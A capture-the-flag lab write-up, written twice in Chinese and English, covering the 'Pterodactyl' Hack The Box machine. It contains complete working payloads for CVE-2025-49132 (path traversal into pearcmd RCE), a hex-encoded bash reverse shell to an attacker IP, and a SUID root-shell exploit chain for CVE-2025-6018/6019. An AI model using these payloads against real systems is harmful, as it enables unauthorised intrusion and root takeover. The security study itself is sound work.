本文介绍了名为“Pterodactyl”的系统安全评估过程,包括信息收集、漏洞分析和利用步骤。通过使用Nmap和Dirsearch等工具,发现了Pterodactyl面板的版本和潜在的远程代码执行(RCE)漏洞。文章详细描述了如何利用CVE-2025-49132和CVE-2025-6018等漏洞进行权限提升,最终成功获取到Root权限和用户标志。该过程强调了在Linux环境中进行安全测试的技术细节和攻击向量。 This article details the system security assessment process for a system named "Pterodactyl," covering information gathering, vulnerability analysis, and exploitation steps. By using tools such as Nmap and Dirsearch, the version of the Pterodactyl panel and potential remote code execution (RCE) vulnerabilities were discovered. The article thoroughly describes how to exploit vulnerabilities like CVE-2025-49132 and CVE-2025-6018 for privilege escalation, ultimately successfully obtaining root privileges and the user flag. The process emphasizes the technical details and attack vectors involved in security testing within a Linux environment.

Information Gathering

# Nmap 7.98 scan initiated Mon Feb  9 18:09:25 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.219.125
Nmap scan report for 10.129.219.125
Host is up (0.074s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open  http    nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb  9 18:09:35 2026 -- 1 IP address (1 host up) scanned in 9.91 seconds

Dirsearch

dirsearch -u http://pterodactyl.htb/ -e txt,html,php

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: txt, html, php | HTTP method: GET | Threads: 25 | Wordlist size: 10403

Output File: /home/kali/Work/HTB/Pterodactyl/reports/http_pterodactyl.htb/__26-02-11_15-51-37.txt

Target: http://pterodactyl.htb/

[15:51:37] Starting:
[15:51:54] 403 -  555B  - /.ht_wsr.txt
[15:51:54] 403 -  555B  - /.htaccess.bak1
[15:51:54] 403 -  555B  - /.htaccess.orig
[15:51:54] 403 -  555B  - /.htaccess_sc
[15:51:54] 403 -  555B  - /.htaccess_orig
[15:51:54] 403 -  555B  - /.htaccess.save
[15:51:54] 403 -  555B  - /.htaccess_extra
[15:51:54] 403 -  555B  - /.htaccess.sample
[15:51:54] 403 -  555B  - /.htaccessOLD
[15:51:54] 403 -  555B  - /.htaccessBAK
[15:51:54] 403 -  555B  - /.htaccessOLD2
[15:51:54] 403 -  555B  - /.htm
[15:51:54] 403 -  555B  - /.html
[15:51:54] 403 -  555B  - /.htpasswd_test
[15:51:54] 403 -  555B  - /.htpasswds
[15:51:54] 403 -  555B  - /.httr-oauth
[######              ] 30%   3214/10403        62/s       [15:53:01] 200 -  920B  - /changelog.txt
[15:54:05] 200 -   72KB - /phpinfo.php
[15:54:14] 403 -  555B  - /Public/

发现版本 Pterodactyl Panel v1.11.10

该版本含有RCE漏洞:使用带有 locale 和 namespace 查询参数的 /locales/locale.json 文件执行任意代码,而无需经过身份验证

FFUF模糊测试虚拟主机

ffuf -w /usr/share/wordlists/dirb/big.txt -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -fs 145


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________
panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 545ms]

添加该虚拟主机panel.pterodactyl.htb得到pterodactyl.htb的控制面板登陆界面

Vulnerability Analysis

CVE-2025-49132

核心原理

  1. 入口/locales/locale.json 端点未过滤参数。
  2. 路径遍历locale 参数用 ../ 跳出语言目录。
  3. 文件锁定namespace 参数指定目标文件名(后端自动补全 .php)。
  4. 泄露机制:后端执行 PHP 文件(如 config/database.php),将其返回的数组误认为是语言包,转为 JSON 输出。

利用:

GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database

获取到数据库账号密码pterodactyl:PteraPanel尝试ssh和页面登陆没用

RCE

在phpinfo中看到:

  • register_argc_argv => On
  • include_path => .:/usr/share/php8:/usr/share/php/PEAR

所以可以测试:http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+...

返回参数:config-create: must have 2 parameters, root path and filename to save as

说明第一个是内容,第二个是存储的地方

构造payload:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+<?=system('id')?>+/tmp/shell.php

如果直接浏览器利用会将特殊字符url编码,所以使用curl

curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system('id')?>+/tmp/shell.php"

访问http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=system(hex2bin('6964'))?>+/tmp/shell.php

可以看到

image

实现反向shell:

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.18/443 0>&1'"|xxd -p|tr -d '\n'
# result:62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127

写文件

curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system(hex2bin('62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127'))?>+/tmp/shell.php

实现反向shell

curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../tmp&namespace=shell"

即可获取初步立足点(www的shell)

Exploitation (User Flag)

可以访问/home/phileasfogg3获取到user.txt

Privilege Escalation (Root Flag)

我们查看一下数据库

mariadb -u pterodactyl -p -h 127.0.0.1
# 输入密码:PteraPanel

获取到两个用户的hash,破解得到凭据:

phileasfogg3:!QAZ2wsx

CVE-2025-6018:PAM 身份伪装漏洞

这个漏洞正是你刚才提到的关于 ~/.pam_environment 的那个。

  • 核心原理:存在于 PAM (Pluggable Authentication Modules,可插拔身份验证模块) 的配置中。在 openSUSESUSE Linux Enterprise 15 等系统中,pam_env.so 模块默认开启了 user_readenv=1
  • 攻击向量:攻击者通过 SSH 登录后,在自己的家目录下创建恶意文件。
    • 写入内容XDG_SEAT=seat0XDG_VTNR=1
  • 结果:当系统处理登录会话时,Polkit (PolicyKit) 会被误导,认为你正坐在电脑前的物理终端上(即 allow_active 状态)。
  • 局限性:它本身只能让你获得“本地活跃用户”的权限,还不是真正的 Root,但它打开了通往高权限 Polkit 操作的大门。

CVE-2025-6019:libblockdev 逻辑漏洞

这个漏洞的影响范围更广,涉及 Ubuntu、Debian、Fedora 等几乎所有主流发行版。

  • 核心原理:存在于 libblockdev(一个用于低层块设备操作的库)中,通过 udisks 守护进程触发。
  • 漏洞细节:当系统调用 libblockdev 来调整 XFS (Extents File System) 文件系统大小时,程序会临时挂载该文件系统。
  • 攻击向量
  • 结果:攻击者在挂载瞬间执行镜像里的 SUID 程序,瞬间夺取 Root 权限。

利用CVE-2025-6018

phileasfogg3@pterodactyl:~> cat .pam_environment

XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

检查SEAT是否为seat0,以及STATE是否为active

phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
     20 1002 phileasfogg3 seat0 pts/0 active no

1 sessions listed.

确认Polkit门票

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"

VULNERABLE: Polkit is bypassed!

如果它没有弹出密码输入提示,且直接打印了 VULNERABLE,那么已经拿到了 CVE-2025-6019 的提权通行证。


利用CVE-2025-6019

第一步:在攻击机上制作恶意 XFS 镜像

# 1. 创建一个 300MB 的空镜像文件
dd if=/dev/zero of=xfs.image bs=1M count=300

# 2. 格式化为 XFS (Extents File System,扩展文件系统)
mkfs.xfs xfs.image

# 3. 挂载镜像并植入 SUID Shell 包装器
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt

# 4. 编写并编译一个简单的 SUID 提权程序(比直接拷贝 bash 更稳定)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell

# 5. 设置关键的 SUID (Set User ID) 权限
sudo chmod 4755 ./mnt/rootshell

# 6. 卸载镜像
sudo umount ./mnt
rm rootshell.c

sudo执行上述文件 上传到目标:sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/

第二步:在目标机上触发提权

# 1. 进入 /tmp 目录
cd /tmp

# 2. 设置回环设备 (Loop Device)
# udisksctl: User-space Disk Control Tool (用户空间磁盘控制工具)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"

# 3. 触发漏洞:利用 gdbus 调用 Resize 方法
# 这会强制 libblockdev (Block Device Manipulation Library) 以含有漏洞的方式挂载镜像
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# 4. 寻找挂载点并运行提权程序
# 漏洞触发后,镜像会被挂载在 /tmp/blockdev-xxxx 下
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
    echo "[-] Mount failed, check if you are an Active session."
else
    echo "[+] Found mount at: $MOUNT_PATH"
    $MOUNT_PATH/rootshell
fi

第三步:开启抢夺循环

# 1. 开启极其密集的后台抢夺器
(while true; do 
    target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
    if [ -n "$target" ]; then
        echo "[!] MOUNT DETECTED: $target"
        $target/rootshell
        break
    fi
done) &

# 2. 获取抢夺器的进程 ID
SNATCHER_PID=$!

# 3. 重新设置循环设备 (假设使用你上传的镜像)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# 4. 触发漏洞(多次触发增加成功率)
for i in {1..3}; do
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done

# 5. 如果成功,你会进入 Root Shell;如果不成功,杀掉抢夺器
kill $SNATCHER_PID 2>/dev/null

最后

phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt

Information Gathering

# Nmap 7.98 scan initiated Mon Feb  9 18:09:25 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.219.125
Nmap scan report for 10.129.219.125
Host is up (0.074s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open  http    nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb  9 18:09:35 2026 -- 1 IP address (1 host up) scanned in 9.91 seconds

Dirsearch

dirsearch -u http://pterodactyl.htb/ -e txt,html,php

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: txt, html, php | HTTP method: GET | Threads: 25 | Wordlist size: 10403

Output File: /home/kali/Work/HTB/Pterodactyl/reports/http_pterodactyl.htb/__26-02-11_15-51-37.txt

Target: http://pterodactyl.htb/

[15:51:37] Starting:
[15:51:54] 403 -  555B  - /.ht_wsr.txt
[15:51:54] 403 -  555B  - /.htaccess.bak1
[15:51:54] 403 -  555B  - /.htaccess.orig
[15:51:54] 403 -  555B  - /.htaccess_sc
[15:51:54] 403 -  555B  - /.htaccess_orig
[15:51:54] 403 -  555B  - /.htaccess.save
[15:51:54] 403 -  555B  - /.htaccess_extra
[15:51:54] 403 -  555B  - /.htaccess.sample
[15:51:54] 403 -  555B  - /.htaccessOLD
[15:51:54] 403 -  555B  - /.htaccessBAK
[15:51:54] 403 -  555B  - /.htaccessOLD2
[15:51:54] 403 -  555B  - /.htm
[15:51:54] 403 -  555B  - /.html
[15:51:54] 403 -  555B  - /.htpasswd_test
[15:51:54] 403 -  555B  - /.htpasswds
[15:51:54] 403 -  555B  - /.httr-oauth
[######              ] 30%   3214/10403        62/s       [15:53:01] 200 -  920B  - /changelog.txt
[15:54:05] 200 -   72KB - /phpinfo.php
[15:54:14] 403 -  555B  - /Public/

Discovered version: Pterodactyl Panel v1.11.10

This version contains an RCE vulnerability: arbitrary code execution via the /locales/locale.json file with locale and namespace query parameters without authentication.

FFUF Fuzzing Virtual Hosts

ffuf -w /usr/share/wordlists/dirb/big.txt -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -fs 145


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________
panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 545ms]

Adding this virtual host panel.pterodactyl.htb provides the control panel login interface for pterodactyl.htb

Vulnerability Analysis

CVE-2025-49132

Core Principle:

  1. Entry point: /locales/locale.json endpoint with unfiltered parameters.
  2. Path traversal: locale parameter uses ../ to escape the language directory.
  3. File locking: namespace parameter specifies the target filename (backend auto-appends .php).
  4. Leak mechanism: Backend executes PHP files (such as config/database.php), mistakenly treats the returned array as a language pack, and converts to JSON for output.

Exploitation:

GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database

Obtained database credentials pterodactyl:PteraPanel, attempted SSH and page login, but no success.

RCE

Seen in phpinfo:

  • register_argc_argv => On
  • include_path => .:/usr/share/php8:/usr/share/php/PEAR

So can test: http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+...

Response shows: config-create: must have 2 parameters, root path and filename to save as

Indicates the first is content, the second is the storage location.

Construct payload:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+<?=system('id')?>+/tmp/shell.php

If using the browser directly, special characters will be URL encoded, so use curl.

curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system('id')?>+/tmp/shell.php"

Access http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=system(hex2bin('6964'))?>+/tmp/shell.php

Can see

image

Achieve reverse shell:

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.18/443 0>&1'"|xxd -p|tr -d '\n'
# result:62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127

Write file

curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system(hex2bin('62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127'))?>+/tmp/shell.php"

Achieve reverse shell

curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../tmp&namespace=shell"

Can obtain initial foothold (www's shell)

Exploitation (User Flag)

Can access /home/phileasfogg3 to obtain user.txt

Privilege Escalation (Root Flag)

Let's check the database

mariadb -u pterodactyl -p -h 127.0.0.1
# Enter password: PteraPanel

Obtained hashes for two users, cracked to get credentials:

phileasfogg3:!QAZ2wsx

CVE-2025-6018: PAM Identity Spoofing Vulnerability

This is the vulnerability you just mentioned regarding ~/.pam_environment.

  • Core Principle: Exists in the configuration of PAM (Pluggable Authentication Modules). In systems like openSUSE and SUSE Linux Enterprise 15, the pam_env.so module enables user_readenv=1 by default.
  • Attack Vector: After logging in via SSH, the attacker creates a malicious file in their home directory.
    • Content to write: XDG_SEAT=seat0 and XDG_VTNR=1.
  • Result: When the system processes the login session, Polkit (PolicyKit) is misled into thinking you are at the physical terminal in front of the computer (i.e., the allow_active state).
  • Limitation: It only grants you the permissions of a 'local active user' and not true Root, but it opens the door to high-privilege Polkit operations.

CVE-2025-6019: libblockdev Logic Vulnerability

This vulnerability has a broader impact, affecting almost all major distributions including Ubuntu, Debian, Fedora, etc.

  • Core Principle: Exists in libblockdev (a library for low-level block device operations) and is triggered via the udisks daemon.
  • Vulnerability Details: When the system calls libblockdev to resize an XFS (Extents File System) filesystem, the program temporarily mounts that filesystem.
  • Attack Vector:
  • Result: The attacker executes the SUID program in the image at the moment of mounting, instantly gaining Root privileges.

Exploiting CVE-2025-6018

phileasfogg3@pterodactyl:~> cat .pam_environment

XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

Check if SEAT is seat0 and STATE is active

phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
     20 1002 phileasfogg3 seat0 pts/0 active no

1 sessions listed.

Confirm Polkit ticket

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"

VULNERABLE: Polkit is bypassed!

If it does not pop up a password prompt and directly prints VULNERABLE, then you have already obtained the privilege escalation ticket for CVE-2025-6019.


Exploiting CVE-2025-6019

Step 1: Create a malicious XFS image on the attacking machine

# 1. Create a 300MB empty image file
dd if=/dev/zero of=xfs.image bs=1M count=300

# 2. Format as XFS (Extents File System)
mkfs.xfs xfs.image

# 3. Mount the image and plant the SUID shell wrapper
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt

# 4. Write and compile a simple SUID privilege escalation program (more stable than directly copying bash)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell

# 5. Set the crucial SUID (Set User ID) permission
sudo chmod 4755 ./mnt/rootshell

# 6. Unmount the image
sudo umount ./mnt
rm rootshell.c

Execute the above file with sudo. Upload to the target: sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/

Step 2: Trigger privilege escalation on the target machine

# 1. Enter the /tmp directory
cd /tmp

# 2. Set up the loop device (Loop Device)
# udisksctl: User-space Disk Control Tool
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"

# 3. Trigger the vulnerability: use gdbus to call the Resize method
# This forces libblockdev (Block Device Manipulation Library) to mount the image in a vulnerable way
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# 4. Find the mount point and run the privilege escalation program
# After the vulnerability is triggered, the image will be mounted under /tmp/blockdev-xxxx
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
    echo "[-] Mount failed, check if you are an Active session."
else
    echo "[+] Found mount at: $MOUNT_PATH"
    $MOUNT_PATH/rootshell
fi

Step 3: Start the snatching loop

# 1. Start an extremely intensive background snatcher
(while true; do 
    target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
    if [ -n "$target" ]; then
        echo "[!] MOUNT DETECTED: $target"
        $target/rootshell
        break
    fi
done) &

# 2. Get the process ID of the snatcher
SNATCHER_PID=$!

# 3. Re-setup the loop device (assuming you uploaded the image)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# 4. Trigger the vulnerability (multiple triggers increase success rate)
for i in {1..3}; do
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done

# 5. If successful, you will get a Root Shell; if not, kill the snatcher
kill $SNATCHER_PID 2>/dev/null

Finally

phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt